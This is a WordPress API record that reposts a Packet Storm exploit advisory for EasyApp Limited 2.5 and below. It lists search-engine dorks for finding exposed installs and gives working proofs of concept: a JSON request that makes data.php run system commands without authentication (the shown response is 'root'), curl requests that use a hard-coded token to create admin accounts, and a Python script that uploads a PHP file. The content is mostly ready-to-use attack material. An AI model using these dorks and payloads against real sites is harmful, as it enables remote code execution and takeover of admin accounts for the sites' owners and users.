{"id":14018,"date":"2025-08-22T13:37:45","date_gmt":"2025-08-22T13:37:45","guid":{"rendered":"http:\/\/localhost\/?p=14018"},"modified":"2025-08-22T13:37:45","modified_gmt":"2025-08-22T13:37:45","slug":"easyapp-limited-25-remote-code-execution-deserialization-file-upload","status":"publish","type":"post","link":"https:\/\/zero.redgem.net\/?p=14018","title":{"rendered":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780"},"content":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-22T17:56:38&#8243;,&#8221;description&#8221;:&#8221;EasyApp Limited versions 2.5 and below suffer from PHP object injection allowing for remote code execution, arbitrary file upload, and hardcoded credential vulnerabilities. It looks like it may also suffer from cross&#8230;&#8221;,&#8221;published&#8221;:&#8221;2025-08-22T00:00:00&#8243;,&#8221;modified&#8221;:&#8221;2025-08-22T00:00:00&#8243;,&#8221;type&#8221;:&#8221;packetstorm&#8221;,&#8221;title&#8221;:&#8221;\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload&#8221;,&#8221;source&#8221;:&#8221;&#8221;,&#8221;references&#8221;:&#8221;&#8221;,&#8221;id&#8221;:&#8221;PACKETSTORM:208780&#8243;,&#8221;bulletinFamily&#8221;:&#8221;exploit&#8221;,&#8221;cwe&#8221;:null,&#8221;cvelist&#8221;:[],&#8221;sourceData&#8221;:&#8221;# Exploit Title: EasyApp Limited &#8211; Multiple Vulnerabilities\\n    # Date: 2025-06-27\\n    # Exploit Author: bRpsd -\\u003e cy[at]live.no\\n    # Vendor Homepage: https:\/\/easyapp.com.hk\/\\n    # Products: Easy Shop, Easy Food, Handlebook\\n    # Affected Versions: v2.5 and below\\n    # CVE: N\/A\\n    # Tested on: localhost xampp, MacOS\\n    # Dorks:\\n    \\&#8221;Powered By Easyapp \u00a9\u00a02025\\&#8221;\\n    Powered By EasyApp Limited inurl:app\/web\\n    \\&#8221;Powered By EasyApp Limited\\&#8221;\\n    \\&#8221;DESIGN BY\u00a0HANDLEBOOK EDUCATION SOLUTIONS\u00a0\u00a9 2025\\&#8221;\\n    \\&#8221;EasyApp Login\\&#8221;\\n    inurl:\/web\/product_detail.php?linkid=\\n    inurl:app\/admin2\/login.php\\n    inurl:app\/#!\/template\/newsList.php\\n    \\n    \\n    \\n    \\n    ##########################################################################################\\n    Vulnerability: PHP Object Injection \\&#8221;CWE-502: Deserialization of Untrusted Data\\&#8221;\\n    The function directly processes unsanitized JSON input from php:\/\/input leading to Unauthenticated RCE\\n    File: \/app\/php\/data.php\\n    \\n    Code:\\n    =================================================================================\\n    \\t$path = $_SERVER[&#8216;DOCUMENT_ROOT&#8217;];\\n    \\tinclude_once($path);\\n    \\t$json = json_decode(file_get_contents(\\&#8221;php:\/\/input\\&#8221;),true) ; \\n    \\t\/\/ Calling Custom Function\\n    \\techo json_encode($json[\\&#8221;action\\&#8221;]($json[\\&#8221;data\\&#8221;]));\\n    =================================================================================\\n    \\n    \\n    \\n    POC:\\n    ==========================================================================================\\n    POST https:\/\/localhost\/app\/php\/data.php HTTP\/1.1\\n    host: localhost\\n    User-Agent: Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:142.0) Gecko\/20100101 Firefox\/142.0\\n    Accept: application\/json, text\/javascript, *\/*; q=0.01\\n    Accept-Language: en-US,en;q=0.5\\n    Content-Type: application\/x-www-form-urlencoded; charset=UTF-8\\n    X-Requested-With: XMLHttpRequest\\n    content-length: 35\\n    Connection: keep-alive\\n    Cookie: _ga_RRH2QH5VDJ=GS2.1.s1755785674$o1$g1$t1755785674$j60$l0$h0; _ga=GA1.1.1404825214.1755785674\\n    Sec-Fetch-Dest: empty\\n    Sec-Fetch-Mode: cors\\n    Sec-Fetch-Site: same-origin\\n    \\n    {\\&#8221;action\\&#8221;:\\&#8221;system\\&#8221;,\\&#8221;data\\&#8221;:\\&#8221;whoami\\&#8221;}\\n    \\n    \\n    Response:\\n    HTTP\/1.1 200 OK\\n    Date: Thu, 15 Aug 2025 14:19:26 GMT\\n    Content-Type: text\/html; charset=UTF-8\\n    Connection: keep-alive\\n    \\n    root\\n    \\&#8221;root\\&#8221;\\n    \\n    \\n    \\n    Using CURL:\\n    curl -X POST https:\/\/localhost\/app\/php\/data.php \\\\\\n    -H \\&#8221;Content-Type: application\/json\\&#8221; \\\\\\n    -d &#8216;{\\&#8221;action\\&#8221;:\\&#8221;system\\&#8221;,\\&#8221;data\\&#8221;:\\&#8221;uname\\&#8221;}&#8217;\\n    \\n    \\&#8221;Darwin\\&#8221;\\n    \\n    \\n    \\n    \\n    ##########################################################################################\\n    Vulnerability 2: Static Token Bypass (CWE-798: Use of Hard-coded Credentials) \\n    File: \/app\/admin2\/php\/data.php\\n    Code:\\n    =================================================================================\\n    function getAppAccessRight($functionName,$param)\\n        {\\n            $data = array();\\n    \\t\\t$data[\\&#8221;status\\&#8221;] = \\&#8221;SUCCESS\\&#8221; ; \\n            $uid = $_COOKIE[\\&#8221;uid\\&#8221;] ; \\n            $token = $_COOKIE[\\&#8221;token\\&#8221;] ; \\n            $escapeFunction = ESCAPE_FUNC_TOKEN ; \\n            \/\/ echo $functionName . \\&#8221;\\u003cbr\/\\u003e\\&#8221;;\\n            \/\/ echo $escapeFunction . \\&#8221;\\u003cbr\/\\u003e\\&#8221;;\\n            if (strpos($escapeFunction, $functionName) !==false)\\n                return $data ; \\n    \\t\\tif ($token == \\&#8221;abcdefghijklmnopqrstuvwxyz1234567890\\&#8221;)\\n    \\t\\t\\treturn $data ; \\n    =================================================================================\\n    \\n    \\n    This means calling arbitrary admin functions via \/app\/admin2\/php\/data.php can be easily bypassed,We can use this hard-coded token to (create admin, update an admin) and trigger MANY other admin-based functions directly:\\n    \\n    POC:\\n    ==========================================================================================\\n    curl -X POST \\\\\\n      &#8216;https:\/\/localhost\/app\/admin2\/php\/data.php&#8217; \\\\\\n      -H &#8216;Cookie: token=abcdefghijklmnopqrstuvwxyz1234567890; blogin=true; uid=1; logined=true; token=true&#8217; \\\\\\n      -H &#8216;Content-Type: application\/json&#8217; \\\\\\n      -d &#8216;{\\n        \\&#8221;action\\&#8221;: \\&#8221;updateAdmin\\&#8221;,\\n        \\&#8221;data\\&#8221;: {\\n          \\&#8221;fullname\\&#8221;: \\&#8221;X\\&#8221;,\\n          \\&#8221;loginid\\&#8221;: \\&#8221;XXXXXXXXXX\\&#8221;,\\n          \\&#8221;pwd\\&#8221;: \\&#8221;XXXXXXXXXX\\&#8221;,\\n          \\&#8221;email\\&#8221;: \\&#8221;X@X.com\\&#8221;,\\n          \\&#8221;role\\&#8221;: \\&#8221;ADMIN\\&#8221;,\\n          \\&#8221;userid\\&#8221;: \\&#8221;1\\&#8221;,\\n          \\&#8221;imgattachid\\&#8221;: \\&#8221;1\\&#8221;\\n        }\\n      }&#8217;\\n      \\n    Response:\\n      {\\&#8221;uid\\&#8221;:\\&#8221;UID_HERE\\&#8221;,\\&#8221;status\\&#8221;:\\&#8221;SUCCESS\\&#8221;}\\n    \\t\\t\\t\\n    \\t\\t\\t\\n    curl -X POST \\\\\\n      &#8216;https:\/\/localhost\/app\/admin2\/php\/data.php&#8217; \\\\\\n      -H &#8216;Cookie: token=abcdefghijklmnopqrstuvwxyz1234567890; blogin=true; uid=1; logined=true; token=true&#8217; \\\\\\n      -H &#8216;Content-Type: application\/json&#8217; \\\\\\n      -d &#8216;{\\n        \\&#8221;action\\&#8221;: \\&#8221;createAdmin\\&#8221;,\\n        \\&#8221;data\\&#8221;: {\\n          \\&#8221;fullname\\&#8221;: \\&#8221;X\\&#8221;,\\n          \\&#8221;loginid\\&#8221;: \\&#8221;X\\&#8221;,\\n          \\&#8221;pwd\\&#8221;: \\&#8221;X\\&#8221;,\\n          \\&#8221;email\\&#8221;: \\&#8221;X@X.com\\&#8221;,\\n          \\&#8221;role\\&#8221;: \\&#8221;ADMIN\\&#8221;,\\n          \\&#8221;userid\\&#8221;: \\&#8221;1\\&#8221;,\\n          \\&#8221;imgattachid\\&#8221;: \\&#8221;1\\&#8221;\\n        }\\n      }&#8217;\\n    Response:\\n      {\\&#8221;uid\\&#8221;:\\&#8221;UID_HERE\\&#8221;,\\&#8221;status\\&#8221;:\\&#8221;SUCCESS\\&#8221;}\\n    ==========================================================================================\\n    \\n    \\n    \\n    \\n    \\n    ##########################################################################################\\n    Vulnerability: Unauthenticated Arbitrary File UPLOAD,DELETE \\u0026 Exposure\\n    path: app\/admin2\/userimg\\n    \\n    Direct access expose list of files uploaded to the directory \/app\/admin2\/userimg\/:\\n    \\n    Example:\\n    {\\&#8221;files\\&#8221;:[{\\&#8221;name\\&#8221;:\\&#8221;x.jpg\\&#8221;,\\&#8221;size\\&#8221;:4,\\&#8221;url\\&#8221;:\\&#8221;https:\\\\\/\\\\\/localhost\\\\\/app\\\\\/admin2\\\\\/userimg\\\\\/files\\\\\/x.jpg\\&#8221;,\\&#8221;deleteUrl\\&#8221;:\\&#8221;https:\\\\\/\\\\\/localhost.hk\\\\\/app\\\\\/admin2\\\\\/userimg\\\\\/index2.php?file=x.jpg\\&#8221;,\\&#8221;deleteType\\&#8221;:\\&#8221;DELETE\\&#8221;}]}\\n    \\n    We can run direct commands to upload\/delete\\n    \\n    Python Code for uploading a test.php:\\n    ==========================================================================================\\n    import requests\\n    # Define the URL and headers\\n    url = \\&#8221;https:\/\/localhost\/app\/admin2\/userimg\/\\&#8221;\\n    headers = {\\n        \\&#8221;User-Agent\\&#8221;: \\&#8221;Mozilla\/5.0 (Macintosh; Intel Mac OS X 10.15; rv:141.0) Gecko\/20100101 Firefox\/141.0\\&#8221;,\\n        \\&#8221;Accept\\&#8221;: \\&#8221;application\/json, text\/javascript, *\/*; q=0.01\\&#8221;,\\n        \\&#8221;Accept-Language\\&#8221;: \\&#8221;en-US,en;q=0.5\\&#8221;,\\n        \\&#8221;Accept-Encoding\\&#8221;: \\&#8221;gzip, deflate, br, zstd\\&#8221;,\\n        \\&#8221;X-Requested-With\\&#8221;: \\&#8221;XMLHttpRequest\\&#8221;,\\n        \\&#8221;Origin\\&#8221;: \\&#8221;https:\/\/localhost\/\\&#8221;,\\n        \\&#8221;Connection\\&#8221;: \\&#8221;keep-alive\\&#8221;,\\n        \\&#8221;Referer\\&#8221;: \\&#8221;https:\/\/localhost\/app\/admin2\/news-list-add.php\\&#8221;,\\n        \\&#8221;Sec-Fetch-Dest\\&#8221;: \\&#8221;empty\\&#8221;,\\n        \\&#8221;Sec-Fetch-Mode\\&#8221;: \\&#8221;cors\\&#8221;,\\n        \\&#8221;Sec-Fetch-Site\\&#8221;: \\&#8221;same-origin\\&#8221;\\n    }\\n    \\n    # Payload to accept file (some settings allow direct PHP upload, others don&#8217;t)\\n    payload = {\\n        &#8216;attachid&#8217;: &#8216;1&#8217;,\\n        &#8216;gtitle_zh&#8217;: &#8216;1&#8217;,\\n        &#8216;linkid&#8217;: &#8216;1&#8217;\\n    }\\n    \\n    files = {\\n        &#8216;files[]&#8217;: (&#8216;x.PhP&#8217;, &#8216;test&#8217;, &#8216;multipart\/form-data&#8217;)\\n    }\\n    \\n    response = requests.post(url, headers=headers, data=payload, files=files)\\n    \\n    # Print the response\\n    print(f\\&#8221;Status Code: {response.status_code}\\&#8221;)\\n    print(\\&#8221;Response Text:\\&#8221;, response.text)\\n    ==========================================================================================\\n    \\n    \\n    \\n    Too lazy to list the OTHER weakness points such as:\\n    1- Using HTML JS redirection to prevent admin access [\/app\/admin2\/] instead of PHP-based code. Meaning anyone can view admin dashboard and its HTML source code \\u0026 tamper around.\\n    \\n    2- IP Address Spoofing by relying on HTTP_CLIENT_IP or HTTP_X_FORWARDED_FOR headers for authentication which can be spoofed\\n    \\n    3- Weak Cryptography\\n    \\n    4- No CSRF\/XSS\/SQLi control\\n    \\n    5- Imporoper control of code generation like using \\&#8221;strpos($escapeFunction, $functionName)\\&#8221; instead of \\&#8221;strpos($functionName, $escapeFunction)\\&#8221;, Misspelled \\&#8221;TRUE\\&#8221; as \\&#8221;TURE\\&#8221; in 2FA activation..\\n    \\n    6- Accessible test files in paths like \/app\/admin2\/testFn.php [Arbitrary File Upload], along with other vulnerable endpoints&#8221;,&#8221;sourceHref&#8221;:&#8221;https:\/\/packetstorm.news\/download\/208780&#8243;,&#8221;cvss&#8221;:{&#8220;score&#8221;:0,&#8221;severity&#8221;:&#8221;NONE&#8221;,&#8221;vector&#8221;:&#8221;NONE&#8221;,&#8221;version&#8221;:&#8221;NONE&#8221;},&#8221;cvss2&#8243;:{},&#8221;cvss3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;,&#8221;cvssV3&#8243;:{&#8220;version&#8221;:&#8221;&#8221;,&#8221;vectorString&#8221;:&#8221;&#8221;,&#8221;baseScore&#8221;:0,&#8221;baseSeverity&#8221;:&#8221;&#8221;,&#8221;attackVector&#8221;:&#8221;&#8221;,&#8221;attackComplexity&#8221;:&#8221;&#8221;,&#8221;privilegesRequired&#8221;:&#8221;&#8221;,&#8221;userInteraction&#8221;:&#8221;&#8221;,&#8221;scope&#8221;:&#8221;&#8221;,&#8221;confidentialityImpact&#8221;:&#8221;&#8221;,&#8221;integrityImpact&#8221;:&#8221;&#8221;,&#8221;availabilityImpact&#8221;:&#8221;&#8221;}},&#8221;href&#8221;:&#8221;https:\/\/packetstorm.news\/files\/id\/208780\/&#8221;,&#8221;category_name&#8221;:&#8221;Exploit&#8221;,&#8221;post_link&#8221;:&#8221;&#8221;,&#8221;product&#8221;:&#8221;&#8221;,&#8221;version&#8221;:&#8221;&#8221;,&#8221;vendor&#8221;:&#8221;&#8221;,&#8221;ai_description&#8221;:&#8221;&#8221;,&#8221;ai_severity&#8221;:&#8221;&#8221;,&#8221;ai_vendor&#8221;:&#8221;&#8221;,&#8221;ai_product&#8221;:&#8221;&#8221;,&#8221;ai_version&#8221;:&#8221;&#8221;,&#8221;ai_score&#8221;:0}<\/p>\n","protected":false},"excerpt":{"rendered":"<p>{&#8220;lastseen&#8221;:&#8221;2025-08-22T17:56:38&#8243;,&#8221;description&#8221;:&#8221;EasyApp Limited versions 2.5 and below suffer from PHP object injection allowing for remote code execution, arbitrary file upload, and hardcoded credential vulnerabilities. It looks&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[6,8,12,13,33,53,7,11,5],"class_list":["post-14018","post","type-post","status-publish","format-standard","hentry","category-category_exploit","tag-cve","tag-cvss","tag-exploit","tag-news","tag-none","tag-packetstorm","tag-security","tag-tapic","tag-vulnerability"],"yoast_head":"<!-- This site is optimized with the Yoast SEO plugin v27.5 - https:\/\/yoast.com\/product\/yoast-seo-wordpress\/ -->\n<title>\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780 - zero redgem<\/title>\n<meta name=\"robots\" content=\"index, follow, max-snippet:-1, max-image-preview:large, max-video-preview:-1\" \/>\n<link rel=\"canonical\" href=\"https:\/\/zero.redgem.net\/?p=14018\" \/>\n<meta property=\"og:locale\" content=\"en_US\" \/>\n<meta property=\"og:type\" content=\"article\" \/>\n<meta property=\"og:title\" content=\"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780 - zero redgem\" \/>\n<meta property=\"og:description\" content=\"{&#8220;lastseen&#8221;:&#8221;2025-08-22T17:56:38&#8243;,&#8221;description&#8221;:&#8221;EasyApp Limited versions 2.5 and below suffer from PHP object injection allowing for remote code execution, arbitrary file upload, and hardcoded credential vulnerabilities. It looks...\" \/>\n<meta property=\"og:url\" content=\"https:\/\/zero.redgem.net\/?p=14018\" \/>\n<meta property=\"og:site_name\" content=\"zero redgem\" \/>\n<meta property=\"article:published_time\" content=\"2025-08-22T13:37:45+00:00\" \/>\n<meta name=\"author\" content=\"invoker\" \/>\n<meta name=\"twitter:card\" content=\"summary_large_image\" \/>\n<meta name=\"twitter:label1\" content=\"Written by\" \/>\n\t<meta name=\"twitter:data1\" content=\"invoker\" \/>\n\t<meta name=\"twitter:label2\" content=\"Est. reading time\" \/>\n\t<meta name=\"twitter:data2\" content=\"5 minutes\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\\\/\\\/schema.org\",\"@graph\":[{\"@type\":\"Article\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018#article\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018\"},\"author\":{\"name\":\"invoker\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\"},\"headline\":\"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \\\/ Deserialization \\\/ File Upload_PACKETSTORM:208780\",\"datePublished\":\"2025-08-22T13:37:45+00:00\",\"mainEntityOfPage\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018\"},\"wordCount\":1086,\"commentCount\":0,\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"keywords\":[\"CVE\",\"CVSS\",\"exploit\",\"news\",\"NONE\",\"packetstorm\",\"Security\",\"tapic\",\"Vulnerability\"],\"articleSection\":[\"category_exploit\"],\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"CommentAction\",\"name\":\"Comment\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=14018#respond\"]}]},{\"@type\":\"WebPage\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018\",\"name\":\"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \\\/ Deserialization \\\/ File Upload_PACKETSTORM:208780 - zero redgem\",\"isPartOf\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\"},\"datePublished\":\"2025-08-22T13:37:45+00:00\",\"breadcrumb\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018#breadcrumb\"},\"inLanguage\":\"en-US\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\\\/\\\/zero.redgem.net\\\/?p=14018\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/?p=14018#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"Home\",\"item\":\"https:\\\/\\\/zero.redgem.net\\\/\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \\\/ Deserialization \\\/ File Upload_PACKETSTORM:208780\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#website\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"name\":\"zero redgem\",\"description\":\"\",\"publisher\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\"},\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\\\/\\\/zero.redgem.net\\\/?s={search_term_string}\"},\"query-input\":{\"@type\":\"PropertyValueSpecification\",\"valueRequired\":true,\"valueName\":\"search_term_string\"}}],\"inLanguage\":\"en-US\"},{\"@type\":\"Organization\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#organization\",\"name\":\"zero redgem\",\"url\":\"https:\\\/\\\/zero.redgem.net\\\/\",\"logo\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\",\"url\":\"\",\"contentUrl\":\"\",\"width\":191,\"height\":188,\"caption\":\"zero redgem\"},\"image\":{\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/logo\\\/image\\\/\"}},{\"@type\":\"Person\",\"@id\":\"https:\\\/\\\/zero.redgem.net\\\/#\\\/schema\\\/person\\\/fbfeae8dfad117ac08a7621bee1a1dca\",\"name\":\"invoker\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"en-US\",\"@id\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"url\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"contentUrl\":\"https:\\\/\\\/secure.gravatar.com\\\/avatar\\\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g\",\"caption\":\"invoker\"},\"sameAs\":[\"https:\\\/\\\/zero.redgem.net\"],\"url\":\"https:\\\/\\\/zero.redgem.net\\\/?author=1\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780 - zero redgem","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/zero.redgem.net\/?p=14018","og_locale":"en_US","og_type":"article","og_title":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780 - zero redgem","og_description":"{&#8220;lastseen&#8221;:&#8221;2025-08-22T17:56:38&#8243;,&#8221;description&#8221;:&#8221;EasyApp Limited versions 2.5 and below suffer from PHP object injection allowing for remote code execution, arbitrary file upload, and hardcoded credential vulnerabilities. It looks...","og_url":"https:\/\/zero.redgem.net\/?p=14018","og_site_name":"zero redgem","article_published_time":"2025-08-22T13:37:45+00:00","author":"invoker","twitter_card":"summary_large_image","twitter_misc":{"Written by":"invoker","Est. reading time":"5 minutes"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"Article","@id":"https:\/\/zero.redgem.net\/?p=14018#article","isPartOf":{"@id":"https:\/\/zero.redgem.net\/?p=14018"},"author":{"name":"invoker","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca"},"headline":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780","datePublished":"2025-08-22T13:37:45+00:00","mainEntityOfPage":{"@id":"https:\/\/zero.redgem.net\/?p=14018"},"wordCount":1086,"commentCount":0,"publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"keywords":["CVE","CVSS","exploit","news","NONE","packetstorm","Security","tapic","Vulnerability"],"articleSection":["category_exploit"],"inLanguage":"en-US","potentialAction":[{"@type":"CommentAction","name":"Comment","target":["https:\/\/zero.redgem.net\/?p=14018#respond"]}]},{"@type":"WebPage","@id":"https:\/\/zero.redgem.net\/?p=14018","url":"https:\/\/zero.redgem.net\/?p=14018","name":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780 - zero redgem","isPartOf":{"@id":"https:\/\/zero.redgem.net\/#website"},"datePublished":"2025-08-22T13:37:45+00:00","breadcrumb":{"@id":"https:\/\/zero.redgem.net\/?p=14018#breadcrumb"},"inLanguage":"en-US","potentialAction":[{"@type":"ReadAction","target":["https:\/\/zero.redgem.net\/?p=14018"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/zero.redgem.net\/?p=14018#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"Home","item":"https:\/\/zero.redgem.net\/"},{"@type":"ListItem","position":2,"name":"\ud83d\udcc4 EasyApp Limited 2.5 Remote Code Execution \/ Deserialization \/ File Upload_PACKETSTORM:208780"}]},{"@type":"WebSite","@id":"https:\/\/zero.redgem.net\/#website","url":"https:\/\/zero.redgem.net\/","name":"zero redgem","description":"","publisher":{"@id":"https:\/\/zero.redgem.net\/#organization"},"potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/zero.redgem.net\/?s={search_term_string}"},"query-input":{"@type":"PropertyValueSpecification","valueRequired":true,"valueName":"search_term_string"}}],"inLanguage":"en-US"},{"@type":"Organization","@id":"https:\/\/zero.redgem.net\/#organization","name":"zero redgem","url":"https:\/\/zero.redgem.net\/","logo":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/","url":"","contentUrl":"","width":191,"height":188,"caption":"zero redgem"},"image":{"@id":"https:\/\/zero.redgem.net\/#\/schema\/logo\/image\/"}},{"@type":"Person","@id":"https:\/\/zero.redgem.net\/#\/schema\/person\/fbfeae8dfad117ac08a7621bee1a1dca","name":"invoker","image":{"@type":"ImageObject","inLanguage":"en-US","@id":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","url":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","contentUrl":"https:\/\/secure.gravatar.com\/avatar\/f17c01d7338e6932bcde121cf83569393df3374625d25afd62677cfb528f2e3e?s=96&d=mm&r=g","caption":"invoker"},"sameAs":["https:\/\/zero.redgem.net"],"url":"https:\/\/zero.redgem.net\/?author=1"}]}},"_links":{"self":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/14018","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=14018"}],"version-history":[{"count":0,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=\/wp\/v2\/posts\/14018\/revisions"}],"wp:attachment":[{"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=14018"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=14018"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/zero.redgem.net\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=14018"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}